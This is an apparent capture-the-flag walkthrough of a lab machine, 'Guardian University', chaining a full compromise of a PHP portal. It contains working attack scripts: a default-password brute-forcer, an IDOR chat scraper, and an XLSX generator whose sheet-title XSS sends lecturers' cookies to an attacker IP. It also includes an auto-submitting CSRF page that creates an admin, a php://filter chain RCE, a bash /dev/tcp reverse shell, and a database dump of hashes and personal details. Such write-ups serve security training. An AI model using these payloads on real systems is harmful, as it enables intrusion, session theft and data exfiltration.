RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEtPLvoTptmr4MsrtI0K/4A73jlDROsZk5pUpkv1rb2VUfEDKmiArBppPYZhUo+Fopcqr4j90edXV+4Usda76kI=
| 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHTkehIuVT04tJc00jcFVYdmQYDY3RuiImpFenWc9Yi6
80/tcp open http syn-ack Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Guardian University - Empowering Future Leaders
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernelHTTP Title: Guardian University – Empowering Future Leaders — likely a CMS footprint.
Port 80
Navigating the web application, the contact form appears broken. Still, it leaks valuable intel: user identifiers and the internal email convention GU<3-digit-id><year>@guardian.htb:

The so-called "Student Portal" unveils a fresh subdomain: http://portal.guardian.htb/, redirecting into login.php:

Triggering "Forgot Password" leads to forgot.php, which demands a User ID in the pattern GU<year><3-digit-id>:

A valid submission fires off an email to the target—an embryonic XSS attack surface (turns out a rabbit hole).
Meanwhile, from login.php, the "Help" button drops us into a static PDF holding gold:

Every student starts with the default password: GU1234. They're told to reset on first login, but it's plausible that seeded accounts never complied. That leaves us a clear brute-force vector—hunting for forgotten defaults still guarding the gate.
WEB
IDOR
Username Fuzzing
From reconnaissance, we already know the username schema:
GU<3-digit-id><year>
Examples:
GU1232022GU0452023GU9992024
So the variables are:
- 3-digit ID →
000–999 - Year → likely recent admission years (e.g., 2023–2025)
Peeking into the login flow reveals the server's verbosity:

The portal spills precise error feedback (Invalid username or password), which makes enumeration trivial. We can abuse this for username fuzzing with a Python brute-forcer:
#!/bin/user/env python3
# bf_username.py
import requests
from pwn import log
URL = "http://portal.guardian.htb/login.php"
PASSWORD = "GU1234"
HEADERS = {"User-Agent": "Mozilla/5.0"}
def generate_usernames(sy=2023, ey=2025):
for y in range(sy, ey + 1):
for i in range(1000): # 000-999
yield f"GU{i:03d}{y}"
def attempt_login(username):
data = {
"username": username,
"password": PASSWORD
}
r = requests.post(URL, data=data, headers=HEADERS, allow_redirects=False)
if "Invalid username or password" not in r.text:
return True
return False
def bruteforce():
bar = log.progress("Bruteforce")
for user in generate_usernames():
bar.status(f"trying {user}")
if attempt_login(user):
bar.success(f"[+] Possible valid account: {user}")
break
else:
bar.failure("No valid accounts found")
if __name__ == "__main__":
bruteforce()The script quickly yields a live account: GU0142023 still clinging to the default password.
Session hijacked, we pivot into http://portal.guardian.htb/student/home.php:

Chat Fuzzing
Inside, we stumble upon a student chat system:

The endpoint is predictable:
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=11
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14This screams IDOR. With a valid PHPSESSID, we can enumerate arbitrary chat histories. A fuzzing script does the heavy lifting:
#!/bin/user/env python3
# bf_chat.py
import requests
from pwn import log
URL = "http://portal.guardian.htb/student/chat.php"
COOKIE = {"PHPSESSID": "ktkpmuqt62asdogd2in5j7h05u"} # replace
def get_chat(uid1, uid2):
params = { "chat_users[0]": uid1, "chat_users[1]": uid2 }
r = requests.get(URL, params=params, cookies=COOKIE)
if r.status_code == 200 and "chat-bubble received" in r.text:
return r.text
return None
def bruteforce(start=1, end=30):
bar = log.progress("Chat enum")
for u1 in range(start, end+1):
for u2 in range(start, end+1):
if u1 == u2:
continue
bar.status(f"trying {u1} <-> {u2}")
html = get_chat(u1, u2)
if html:
if "Invalid" not in html and len(html) > 2000:
log.success(f"Chat found: {u1} <-> {u2} (len={len(html)})")
with open(f"chat_{u1}_{u2}.html", "w") as f:
f.write(html)
bar.success("Done")
if __name__ == "__main__":
bruteforce(1, 20)The run produces multiple chat logs ripe for plundering:

And buried within—credentials for gitea:

Looks like we just made contact with jamil.enockson.
Gitea
With the recovered credentials [email protected] / DHsNnk3V503, we breach into http://gitea.guardian.htb/—a private Gitea instance hosting internal repositories for admin, jamil, and mark:

The first repository is little more than static fluff—HTML and CSS with no real attack surface. The real prize is the portal source code. Time to clone it down for inspection:
git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git
The local dump shows us the application's skeleton:
$ tree portal.guardian.htb -L1
portal.guardian.htb
├── admin
├── composer.json
├── composer.lock
├── config
├── forgot.php
├── includes
├── index.php
├── lecturer
├── login.php
├── logout.php
├── models
├── portal.guardian.htb.udb
├── static
├── student
└── vendorThe architecture speaks volumes: three portals exist—/admin, /lecturer, and /student. We already own the student space. The next phase of exploitation means pivoting our privilege chain into either the lecturer or admin portals.
Lecturer
This setup echoes the University box—student → lecturer → admin in a clean privilege chain.
I start by mapping touchpoints with higher-privileged users. The upcoming course “Statistics in Business” (not the "overdue" relics) allows submissions to lecturers:

Accepted formats: .docx, .xlsx.
A probe upload exposes the POST surface:

From here, the assignment pipeline becomes our attack vector.
Code Review
Student/submission.php
First, how students submit:
<?php
require '../includes/auth.php';
require '../config/db.php';
require '../models/Assignment.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'student') {
header('Location: /login.php');
exit();
}
$student_id = $_SESSION['user_id'];
$course_id = $_GET['course_id'] ?? null;
$assignmentModel = new Assignment($pdo);
$assignments = $assignmentModel->getUpcomingAssignments($student_id, $course_id);
?>
...
<?php foreach ($assignments as $assignment):
$due_date = strtotime($assignment['due_date']);
$days_until_due = ceil(($due_date - time()) / (60 * 60 * 24));
$card_class = $days_until_due < 0 ? 'overdue' : ($days_until_due <= 3 ? 'due-soon' : '');
?>
,,,
<?php echo htmlspecialchars($assignment['title']); ?>
<?php echo htmlspecialchars($assignment['course_name']); ?>
...
<a href="/student/submission.php?assignment_id=<?php echo $assignment['assignment_id']; ?>"
</a>
...$course_id = $_GET['course_id'] ?? null;is passed intoAssignment::getUpcomingAssignments($student_id, $course_id).- Output:
titleandcourse_nameare run throughhtmlspecialchars()→ reduces reflected XSS on this page. - Nav link:
/student/submission.php?assignment_id=<id>→ IDOR candidate onsubmission.phpif ownership/role checks are weak there.
Looks tidy on the surface. The real action is on the lecturer side.
Lecturer/view-submission.php
Lecturers server-render student Office files using PhpOffice—PhpSpreadsheet (XLSX) and PhpWord (DOCX):
require '../vendor/autoload.php'; // Include PHPOffice PHP Spreadsheet
use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Writer\Html;
...
$phpWord = \PhpOffice\PhpWord\IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$htmlWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'HTML');
$htmlWriter->save('php://output');
...
For .xlsx, the preview logic is:
if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx') {
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
}IOFactory::load()→ parses student-supplied XLSX.Writer\Html→ converts workbook to HTML for the browser.echo $writer->generateHTMLAll();→ sends raw HTML to the lecturer with no escaping/sanitization.
Elsewhere the codebase leans on htmlspecialchars(...) for user fields:

Here, that safety net is absent—an unguarded HTML sink.
For .docx, the path is:
$phpWord = \PhpOffice\PhpWord\IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$htmlWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'HTML');
$htmlWriter->save('php://output');\PhpOffice\PhpWord\IOFactory::load()→ parses student-supplied XLSX.- Converts it to HTML using PhpWord's
HTMLwriter. - Streams it directly to the browser (
php://output).
If PhpOffice's internal filtering is porous (or an n-day exists), this preview pipeline becomes an elegant execution vector against lecturers. Time to audit the library and trawl for n-days.
PhpOffice
PhpOffice is an open-source suite for ingesting, generating, and transforming Office formats (Excel, Word, PowerPoint, et al.). It comprises:
- PhpSpreadsheet — successor to PHPExcel; handles
.xls,.xlsx,.ods,.csv. - PhpWord — parses and emits
.docx,.odt,.rtf; supports HTML/PDF conversion. - PhpPresentation — works with
.pptx,.odp; less common but conceptually identical. - Common components — shared utilities and autoloading.
Deployed via Composer, versions surface in installed.php:
'phpoffice/math' => array(
'pretty_version' => '0.2.0',
'version' => '0.2.0.0',
'reference' => 'fc2eb6d1a61b058d5dac77197059db30ee3c8329',
'type' => 'library',
'install_path' => __DIR__ . '/../phpoffice/math',
'aliases' => array(),
'dev_requirement' => false,
),
'phpoffice/phpspreadsheet' => array(
'pretty_version' => '3.7.0',
'version' => '3.7.0.0',
'reference' => '2fc12fdc58d39297c7b8c72d65b37a1a25d65ab5',
'type' => 'library',
'install_path' => __DIR__ . '/../phpoffice/phpspreadsheet',
'aliases' => array(),
'dev_requirement' => false,
),
'phpoffice/phpword' => array(
'pretty_version' => '1.3.0',
'version' => '1.3.0.0',
'reference' => '8392134ce4b5dba65130ba956231a1602b848b7f',
'type' => 'library',
'install_path' => __DIR__ . '/../phpoffice/phpword',
'aliases' => array(),
'dev_requirement' => false,
),Target locked.
Stored XSS
PhpOffice has a storied history with HTML rendering pitfalls, especially in PhpSpreadsheet's HTML writer—a fertile ground for stored XSS when unescaped workbook data is transmuted into markup.
Our target, phpoffice/phpspreadsheet 3.7.0, aligns with a live advisory in the project's Security feed: GHSA-79xx-vf93-p7cx.
Issue: when Writer\Html renders sheet navigation tabs for multi-sheet workbooks, it injects sheet titles directly into the DOM without escaping. A title like "><img src=x onerror=alert(1)> becomes executable markup → XSS.
Vulnerable snippet (3.7.0) Writer/Html.php:533:
/**
* Generate sheet tabs.
*/
public function generateNavigation(): string
{
// Fetch sheets
$sheets = [];
if ($this->sheetIndex === null) {
$sheets = $this->spreadsheet->getAllSheets();
} else {
$sheets[] = $this->spreadsheet->getSheet($this->sheetIndex);
}
// Construct HTML
$html = '';
// Only if there are more than 1 sheets
if (count($sheets) > 1) {
// Loop all sheets
$sheetId = 0;
$html .= '<ul class="navigation">' . PHP_EOL;
foreach ($sheets as $sheet) {
// [!] Vulnerable
$html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;
++$sheetId;
}
$html .= '</ul>' . PHP_EOL;
}
return $html;
}- It injects the raw sheet title (
$sheet->getTitle()) directly into HTML. - There is no escaping/sanitization (
htmlspecialchars, etc.). - The navigation UI only renders when count($sheets) > 1 → exploit requires ≥ 2 sheets.
- When we control a sheet title, we can close the
<a>text node and inject arbitrary HTML/JS.
Fixed in 1.29.8 / 2.1.7 / 2.3.6 / 3.8.0.
Conclusion: 3.7.0 is exploitable—prime for a lecturer-side XSS pivot.
Exploit XSS
The vulnerable sink:
$html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;With a benign title, e.g. Sheet1, it renders:
<li class="sheet0"><a href="#sheet0">Sheet1</a></li>The injection point is inside the anchor text (...">[HERE]</a>).
Minimal payload:
</a><img src=x onerror=alert(1)><a>Forge a multi-sheet XLSX via pandas and ElementTree to weaponize the title:
#!/usr/bin/env python3
# evil_xlsx.py
import io, zipfile
import pandas as pd
import xml.etree.ElementTree as ET
INPUT_XLSX = "scaffold.xlsx"
OUTPUT_XLSX = "evil.xlsx"
ATTACKER_IP = "10.10.18.9" # change
LISTEN_PORT = 80
# 1) build a normal multi-sheet file with pandas
df1 = pd.DataFrame({"A": [1,2], "B":[3,4]})
df2 = pd.DataFrame({"X": ["foo","bar"]})
with pd.ExcelWriter(INPUT_XLSX, engine="openpyxl") as w:
df1.to_excel(w, sheet_name="SafeSheet", index=False)
df2.to_excel(w, sheet_name="EvilSheet", index=False) # will be renamed in XML
# 2) malicious sheet title (the actual XSS). we're in an XML attribute,
# so we must XML-escape <, >, & automatically using ElementTree
payload = f"</a><img src=x onerror=fetch('http://{ATTACKER_IP}:{str(LISTEN_PORT)}/pwn?c='+document.cookie)><a>"
print(f"[dbg] payload in xlsx: {payload}")
# 3) open the xlsx (zip), modify xl/workbook.xml, write a new xlsx
with zipfile.ZipFile(INPUT_XLSX, "r") as zin, zipfile.ZipFile(OUTPUT_XLSX, "w", zipfile.ZIP_DEFLATED) as zout:
for item in zin.infolist():
data = zin.read(item.filename)
if item.filename == "xl/workbook.xml":
# parse, locate <sheet name="EvilSheet" .../>, replace name with payload
ns = {
"m": "http://schemas.openxmlformats.org/spreadsheetml/2006/main",
"r": "http://schemas.openxmlformats.org/officeDocument/2006/relationships",
}
root = ET.fromstring(data)
sheets = root.find("m:sheets", ns)
for sheet in sheets.findall("m:sheet", ns):
if sheet.get("name") == "EvilSheet":
sheet.set("name", payload) # ET will escape to </a>...<a>
break
# reserialize
data = ET.tostring(root, encoding="utf-8", xml_declaration=True)
zout.writestr(item, data)
print(f"[+] built {OUTPUT_XLSX} with malicious sheet title payload")
pandas/openpyxlrejects illegal sheet names (by spec). PhpSpreadsheet, however, will parse the raw XML—we simply patchxl/workbook.xmlinside the ZIP to bypass validation.
Excel “repairs” invalid names on open, renaming them (Recovered_Sheet1):

…which is fine—we care about the server-side renderer, not the desktop client.
Sanity-check the payload is embedded:
unzip -p evil.xlsx xl/workbook.xml | sed -n '1,200p'
Inside the XLSX, < and > appear as entities; PhpSpreadsheet resolves the attribute back to the literal:
</a><img src=x onerror=fetch('http://10.10.18.9:80/pwn?c='+document.cookie)><a>Upload evil.xlsx as a student submission; when the lecturer previews, the payload fires and exfiltrates the session to our HTTP listener:

Swap the stolen PHPSESSID and step into the lecturer seat—sammy.treat—inside the portal dashboard:

Admin
With lecturer access unlocked, fresh tooling appears. Our next move: identify any workflow that lets us touch the admin context.
The Notice Board is perfect. We can craft a notice and embed a link deliberately aimed at admin:

Submission requires a CSRF token alongside the payload:

Time to peel back the stack—let's dissect create.php and chart the attack surface.
Code Review
Lecturer/notice/create.php
A global CSRF token pool is primed on load:
$token = bin2hex(random_bytes(16));
add_token_to_pool($token);A per-request token is minted, pooled, and embedded as a hidden field. On POST, the handler validates:
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$csrf_token = $_POST['csrf_token'] ?? '';
if (!is_valid_token($csrf_token)) {
die("Invalid CSRF token!");With a valid token, the lecturer can post a notice straight from raw inputs:
$title = $_POST['title'];
$content = $_POST['content'];
$reference_link = $_POST['reference_link'];
$created_by = $_SESSION['user_id'];Persisted verbatim:
$noticeModel->create([
'title' => $title,
'content' => $content,
'reference_link' => $reference_link,
'created_by' => $created_by
], false)Flash messages are escaped using htmlspecialchars(), but only those:
<?php if (isset($success)): ?>
<?php echo htmlspecialchars($success); ?>
...
<?php if (isset($error)): ?>
<?php echo htmlspecialchars($error); ?>
...
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($token) ?>">
...This means the “Notice Board” likely has an admin approval workflow: when a lecturer submits a notice, an admin review page shows the notice and its reference_link. That gives us a path to make the admin's browser do our bidding.
So we will continue to research how admin user interacts with the reference_link.
Admin/notice/approve.php
The approval endpoint is blunt:
// require admin session
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') exit();
// read id from query
$notice_id = $_GET['id'] ?? null;
// fetch notice; if it exists...
$notice = $noticeModel->read($notice_id);
// ...immediately approve it
if ($noticeModel->approveNotice($notice_id)) {
echo "Notice approved";
exit();
}We (lecturer) fully control reference_link on the notice. During review, admin is likely to follow it. The question becomes: where do we lure them for privesc?
Admin/createuser.php
A bespoke admin utility: createuser.php. If we can herd admin into this route and submit a forged POST, we mint an admin-level user. First, shape a valid request.
The CSRF model is pool-based—ripe for scope confusion:
$token = bin2hex(random_bytes(16));
add_token_to_pool($token); // ← minted on GET, tossed into a global poolValidation on POST:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$csrf_token = $_POST['csrf_token'] ?? '';
if (!is_valid_token($csrf_token)) { die("Invalid CSRF token!"); }
// ...
}There's no evidence is_valid_token() binds tokens to session or route. If tokens are global, we can pre-mint one from any page that calls add_token_to_pool() (e.g., lecturer-side), then reuse it here—CSRF-by-design.
Authenticated as admin, the handler creates users with attacker-controlled role:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
...
// POST params
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$full_name = $_POST['full_name'] ?? '';
$email = $_POST['email'] ?? '';
$dob = $_POST['dob'] ?? '';
$address = $_POST['address'] ?? '';
$user_role = $_POST['user_role'] ?? ''; // [!] New user role controllable
// Check for empty fields
if (empty($username) || empty($password) || empty($full_name) || empty($email) || empty($dob) || empty($address) || empty($user_role))
...
$password = hash('sha256', $password . $salt); // static app-wide salt from config.php
$data = [
'username' => $username,
'password_hash' => $password,
'full_name' => $full_name,
'email' => $email,
'dob' => $dob,
'address' => $address,
'user_role' => $user_role // [!] 'admin' allowed by form
];
if ($userModel->create($data)) {
header('Location: /admin/users.php?created=true');
exit();
} else {
$error = "Failed to create user. Please try again.";
}
}
}- Admin can create arbitrary users, including
user_role=admin. - Passwords are SHA-256 with a static salt from the included
config.php—predictable and forgeable.
Config/config.php
Database credentials + salt:
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];And the 'salt' is what we need to forge a password for newly created users.
Shadow Admin
Time to chain it.
- As lecturer, plant a
reference_linkthe admin is expected to follow during review. - On click, we pivot into a top-level navigation that posts back into
/admin/createuser.php; with legacy/lenient cookie policy orSameSite=None, the admin's session hitches a ride. - Any pool-valid CSRF token clears the check—tokens minted on lecturer pages via
add_token_to_pool($token)are fair game.
Lift a lecturer page token:

Wire up an auto-submit CSRF page, embedder with required new user information:
<!doctype html>
<html>
<body>
<form action="http://portal.guardian.htb/admin/createuser.php" id="1337" method="POST">
<input type="hidden" name="csrf_token" value="28a109028288a82de056e4f48a1c343b">
<input type="hidden" name="username" value="axura">
<input type="hidden" name="password" value="Axura4sure~">
<input type="hidden" name="full_name" value="Guardian Pwn">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="dob" value="1790-01-01">
<input type="hidden" name="address" value="42 Exploit Ave">
<input type="hidden" name="user_role" value="admin">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>Serve it as pwn.html, then set the lecturer notice's reference_link to http://<attacker_ip>/pwn.html:

Admin reviews, clicks, and the form fires:

Result: a fresh shadow admin account—privilege chain complete:

RCE
With admin foothold, the Report Menu becomes an execution trampoline:

Reports are included dynamically, e.g.:
http://portal.guardian.htb/admin/reports.php?report=reports/system.phpThe endpoint includes another PHP script—prime RCE territory.
Code Review
Let's research how report.php works from the source code.
Admin/report.php
The code itself is concise and dangerous:
<?php
require '../includes/auth.php';
require '../config/db.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
... // HTML stuff
<?php include($report); ?>Constraints:
- Blocks any
..substring (so no naïve../traversal). - Allows any path that ends with one of
{enrollment,academic,financial,system}.php(the regex is very permissive: any prefix, as long as the tail matches). - Then
include($report)executes it.
But beyond the constraints, there're others not blocked:
- PHP stream wrappers (e.g.,
phar://,zip://,compress.zlib://,php://filter,file://). - Absolute paths (e.g.,
/var/www/html/...). - Paths outside the app root, as long as the final component matches
*academic.php, etc.
Classic restricted-include done wrong.
PHP Wrappers
Since we did not find any entrances to upload a malicious PHP file, we will exploit the include($report) vector via PHP stream wrappers, such as php://filter, which I mentioned a lot in this post.
We have also introduced this topic in the BigBang writeup.
A naive LFR probe like:
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwdis blocked by the regex gate:

The Synactiv team has done a lot great researches on this topic, along with wonderful exploit toolit. The PHP filter chain generator encodes arbitrary PHP into a php://filter chain that decodes to executable code at include-time.
Minimal PoC (exec id):
./php_filter_chain_generator.py --chain "<?php system(\"id\");?>"Append a suffix to satisfy the regex (fake tail): #system.php. The include resolves the filter chain; the hash tail placates the pattern check:

Jackpot.
Shell it up:
./php_filter_chain_generator.py --chain "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.18.9/4444 0>&1'\");?>"Reverse shell lands:

USER
Database Breach
Pivoting deeper, local sockets reveal the MySQL daemon exposed only on loopback:
www-data@guardian:~/portal.guardian.htb/admin$ netstat -lantp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 1 0 10.129.119.158:80 10.10.18.9:48100 CLOSE_WAIT -
tcp 0 140 10.129.119.158:35990 10.10.18.9:4444 ESTABLISHED 14737/bash
tcp 0 1 10.129.119.158:55532 8.8.8.8:53 SYN_SENT -
tcp6 0 0 :::22 :::* LISTEN -Port 3306 is open, bound locally. We already exfiltrated the creds from config.php:
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',Drop straight into the database from the web shell:
$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb
show databases;
+--------------------+
| Database |
+--------------------+
| guardiandb |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments |
| courses |
| enrollments |
| grades |
| messages |
| notices |
| programs |
| submissions |
| users |
+----------------------+
9 rows in set (0.00 sec)
mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username | password_hash | full_name | email | dob | address | user_role | status | created_at | updated_at |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| 1 | admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin | [email protected] | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645 | admin | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 2 | jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson | [email protected] | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295 | admin | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 3 | mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter | [email protected] | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210 | admin | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 4 | valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 | Valentijn Temby | [email protected] | 1994-05-06 | 7429 Gustavsen Road, Houston, Texas, United States, 77218 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 5 | leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 | Leyla Rippin | [email protected] | 1999-01-30 | 7911 Tampico Place, Columbia, Missouri, United States, 65218 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 6 | perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 | Perkin Fillon | [email protected] | 1991-03-19 | 3225 Olanta Drive, Atlanta, Georgia, United States, 30368 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 7 | cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 | Cyrus Booth | [email protected] | 2001-04-03 | 4214 Dwight Drive, Ocala, Florida, United States, 34474 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 8 | sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 | Sammy Treat | [email protected] | 1997-03-26 | 13188 Mount Croghan Trail, Houston, Texas, United States, 77085 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 9 | crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 | Crin Hambidge | [email protected] | 1997-09-28 | 4884 Adrienne Way, Flint, Michigan, United States, 48555 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 10 | myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 | Myra Galsworthy | [email protected] | 1992-02-20 | 13136 Schoenfeldt Street, Odessa, Texas, United States, 79769 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 11 | mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 | Mireielle Feek | [email protected] | 2001-08-01 | 13452 Fussell Way, Raleigh, North Carolina, United States, 27690 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 12 | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a | Vivie Smallthwaite | [email protected] | 1993-04-02 | 8653 Hemstead Road, Houston, Texas, United States, 77293 | lecturer | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 13 | GU0142023 | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 | Boone Basden | [email protected] | 2001-09-12 | 10523 Panchos Way, Columbus, Ohio, United States, 43284 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 14 | GU6262023 | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f | Jamesy Currin | [email protected] | 2001-11-28 | 13972 Bragg Avenue, Dulles, Virginia, United States, 20189 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 15 | GU0702025 | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 | Stephenie Vernau | [email protected] | 1996-04-16 | 14649 Delgado Avenue, Tacoma, Washington, United States, 98481 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 16 | GU0762023 | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 | Milly Saladine | [email protected] | 1995-11-19 | 2031 Black Stone Place, San Francisco, California, United States, 94132 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 17 | GU9492024 | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 | Maggy Clout | [email protected] | 2000-05-30 | 8322 Richland Road, Billings, Montana, United States, 59112 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 18 | GU9612024 | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 | Shawnee Bazire | [email protected] | 2002-05-27 | 4364 Guadalupe Court, Pensacola, Florida, United States, 32520 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 19 | GU7382024 | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a | Jobey Dearle-Palser | [email protected] | 1998-04-14 | 4620 De Hoyos Place, Tampa, Florida, United States, 33625 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 20 | GU6632023 | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 | Erika Sandilands | [email protected] | 1994-06-08 | 1838 Herlong Court, San Bernardino, California, United States, 92410 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 21 | GU1922024 | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd | Alisander Turpie | [email protected] | 1998-08-07 | 813 Brody Court, Bakersfield, California, United States, 93305 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 22 | GU8032023 | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada | Wandie McRobbie | [email protected] | 2002-01-16 | 5732 Eastfield Path, Peoria, Illinois, United States, 61629 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 23 | GU5852023 | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a | Erinn Franklyn | [email protected] | 2003-05-01 | 50 Lindsey Lane Court, Fairbanks, Alaska, United States, 99790 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
